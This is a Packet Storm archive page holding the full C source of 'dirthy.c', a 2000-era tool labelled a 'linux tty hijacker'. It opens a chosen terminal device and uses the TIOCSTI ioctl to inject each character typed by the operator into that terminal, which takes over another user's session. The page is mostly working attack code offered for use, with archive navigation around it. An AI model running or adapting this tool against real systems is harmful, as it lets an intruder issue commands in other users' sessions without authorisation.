what you don't know can hurt you

dirthy.c

dirthy.c
Posted Feb 11, 2000
Authored by teso

linux tty hijacker

systems | linux
MD5 | 04489d81512965924340610277260d66

dirthy.c

Change Mirror Download
/* writeonly redo if dirtyh.c.. hmm, still ugly, but cbreak mode - typo/teso */

#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdarg.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>
#include <getopt.h>

#define EXTERN extern
#define PRIVATE static
#define PUBLIC

PRIVATE struct termios save_termios;
PRIVATE int ttysavefd = -1;
PRIVATE enum { RESET, DIRTY } ttystate = RESET;

int tty_dirtyterm (int fd) {
struct termios buf;

if (tcgetattr(fd, &save_termios) < 0)
return(-1);

buf = save_termios;

buf.c_lflag &= ~(ECHO | ICANON);

buf.c_cc[VMIN] = 1;
buf.c_cc[VTIME] = 0;

if (tcsetattr(fd, TCSAFLUSH, &buf) <0)
return(-1);

ttystate = DIRTY;
ttysavefd = fd;

return(0);
}

int tty_reset (int fd) {
if (ttystate == RESET)
return(0);

if (tcsetattr(fd, TCSAFLUSH, &save_termios) < 0)
return(-1);

ttystate = RESET;
return(0);
}

void tty_cleanup (void) {
if (ttysavefd >= 0) {
fflush(stdout);
tty_reset(ttysavefd);
}
exit(EXIT_SUCCESS);
}

void err (const int syserr, const char *msg, ...) {
va_list ap;

printf("err: ");

va_start (ap, msg);
vprintf (msg, ap);
va_end (ap);

if (syserr)
printf(": %s\n", sys_errlist[errno]);
else
printf("\n");

tty_cleanup();
exit(EXIT_FAILURE);
}

void sig_catch (int signo) {
printf("%s\n", sys_siglist[signo]);
tty_cleanup();
}

int main (int argc, char **argv) {
int i, fd;
char c;
char moo[2]; /* char + \0 */

if (argc < 2)
err(0, "usage: %s </dev/ttyXY>", argv[0]);

if (signal(SIGINT, sig_catch) == SIG_ERR)
err(1, "signal(SIGINT) error");
if (signal(SIGQUIT, sig_catch) == SIG_ERR)
err(1, "signal(SIGQUIT) error");
if (signal(SIGTERM, sig_catch) == SIG_ERR)
err(1, "signal(SIGTERM) error");

if ( (fd = open(argv[1], O_WRONLY)) < 0)
err(1, "open() error");

tty_dirtyterm(STDIN_FILENO);

while ( (i = read(STDIN_FILENO, &c, 1)) == 1) {
c &= 255;
sprintf(moo, "%c", c);
printf("%c", c);
if (c == 127)
printf("\b \b");
fflush(stdout);
ioctl(fd, TIOCSTI, moo);
}

tty_reset(STDIN_FILENO);
if (i <= 0)
err(1, "read error");

return(42); /* not reached */
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    11 Files
  • 17
    Sep 17th
    16 Files
  • 18
    Sep 18th
    8 Files
  • 19
    Sep 19th
    14 Files
  • 20
    Sep 20th
    20 Files
  • 21
    Sep 21st
    3 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close